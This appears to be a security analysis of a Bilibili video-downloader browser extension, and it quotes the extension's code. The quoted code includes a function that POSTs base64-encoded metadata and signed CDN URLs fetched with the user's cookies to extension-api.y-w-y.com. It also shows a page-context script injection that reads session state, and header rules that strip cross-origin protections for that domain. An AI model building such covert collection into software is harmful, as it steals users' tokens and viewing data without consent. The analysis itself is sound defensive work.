哔哩哔哩bilibili影片下載工具

The extension POSTs base64-encoded media metadata (including video IDs, CDN URLs with authentication tokens, user session data, and watch history) to a third-party server at extension-api.y-w-y.com. This is the core data exfiltration mechanism — the function is called `ywy_api` and labeled `post-token`, strongly suggesting it is capturing authenticated session tokens or video access tokens from the user's Bilibili account and transmitting them to an external operator-controlled server.

function ywy_api(e) {  return new Promise((function(t, o) {    let n = new XMLHttpRequest;    n.open("POST", "https://extension-api.y-w-y.com/post-token", !0), n.setRequestHeader("Content-type",      "application/x-www-form-urlencoded"), n.onload = function() {      let e = n.responseText;      t(e)    }, n.onerror = function() {      t("err")    }, n.onabort = function() {      t("err")    }, n.send(String(e))  }))}

The extension serializes full video metadata including CDN download URLs (which contain authenticated access tokens for Bilibili's CDN servers), encodes it in base64, and sends it to the operator's server via ywy_api. These CDN URLs (video_uri, audio_uri from bilivideo.com/acgvideo.com) are time-limited signed tokens — transmitting them to a third-party server allows that operator to download the user's authenticated content streams and track what every user watches.

let i = {    aid: media_info.aid,    cid: media_info.cid,    bvid: media_info.bvid,    title_mother: media_info.title_mother,    title_child: media_info.title_child,    epsiode: media_info.epsiode,    picture: media_info.picture,    url: media_info.url,    download_info: {      media_download_data_object: o    },    type: "video",    quality: e  },  a = JSON.stringify(i),  d = await ywy_api(ywy_base64_encode(a));

All Bilibili API requests are made with `withCredentials: true`, meaning the user's Bilibili session cookies are automatically included. Combined with the data exfiltration to y-w-y.com, this means the extension obtains authenticated API responses (including signed CDN streaming tokens tied to the user's account) and then ships that data to the operator's server, effectively harvesting authenticated session-derived tokens for every user interaction.

n.open("GET",  `https://api.bilibili.com/x/player/playurl?bvid=${t}&cid=${e}&qn=${o}&type=&otype=json&fnver=0&fnval=4048&fourk=1`,  !0), a.withCredentials = !0

The content script dynamically injects `slave.js` into the page DOM at runtime by appending a script element. This gives the injected script access to the page's JavaScript execution context (including `window.__INITIAL_STATE__`, `window.vd`, `$pbp`, and `__NEXT_DATA__`), which the extension uses to extract internal session state. While the file is bundled with the extension, this injection pattern circumvents content script isolation and is a classic privilege escalation technique.

function ywy_slave_inject() {  let e = document.createElement("script");  e.type = "text/javascript", e.id = "ywy_slave_inject", e.src = chrome.runtime.getURL("slave.js"), document.body    .appendChild(e)}

Rules 21 and 22 use `urlFilter: "|https*"` which matches ALL HTTPS URLs — not just Bilibili CDN domains — and removes CORP/COEP security headers from ALL responses when the initiating domain is y-w-y.com. This systematically strips cross-origin isolation protections from every response seen by the operator's server, enabling the operator's site to embed and read authenticated cross-origin resources that would otherwise be blocked by browser security policies.

[  {    "id": 21,    "priority": 1,    "action": {      "type": "modifyHeaders",      "responseHeaders": [        {          "header": "Cross-Origin-Resource-Policy",          "operation": "set",          "value": "cross-origin"        }      ]    },    "condition": {      "urlFilter": "|https*",      "initiatorDomains": [        "y-w-y.com"      ]    }  },  {    "id": 22,    "priority": 1,    "action": {      "type": "modifyHeaders",      "responseHeaders": [        {          "header": "Cross-Origin-Embedder-Policy",          "operation": "set",          "value": "credentialless"        }      ]    },    "condition": {      "urlFilter": "|https*",      "initiatorDomains": [        "y-w-y.com"      ]    }  }]

The extension uses declarativeNetRequest to override CORS headers on Bilibili CDN responses (bilivideo.com, acgvideo.com, akamaized.net, hdslb.com) to `access-control-allow-origin: *`. This allows the operator's website (y-w-y.com) to directly fetch the user's authenticated video streams cross-origin — streams that would otherwise be blocked. This is combined with forged Referer and Origin headers to bypass Bilibili's hotlink protection, giving the operator access to authenticated content streams without the user's knowledge.

{  "id": 3,  "priority": 1,  "action": {    "type": "modifyHeaders",    "responseHeaders": [      {        "header": "access-control-allow-origin",        "operation": "set",        "value": "*"      }    ]  },  "condition": {    "urlFilter": "||bilivideo.com",    "initiatorDomains": [      "y-w-y.com"    ]  }}

The slave.js script, injected directly into the page context, reads internal page state from `window.__INITIAL_STATE__`, `window.vd`, and `__NEXT_DATA__` — Bilibili's internal JavaScript state objects that contain authenticated session data, episode metadata, and user-specific information not available to content scripts. It harvests this data and passes it to the content script via a custom DOM event, acting as a privilege bridge between the isolated content script context and the full page context.

let n = {  aid: window.vd.aid,  cid: window.vd.cid,  bvid: window.vd.bvid,  title_mother: ywyJsonReservedCharactersFixer(__INITIAL_STATE__.videoData.title),  title_child: ywyJsonReservedCharactersFixer(i),  epsiode: e,  picture: __INITIAL_STATE__.videoData.pic.replace("http://", "https://"),  url: window.location.href.split("?")[0]};let o = new CustomEvent("ywy_meow", {  detail: n});document.dispatchEvent(o)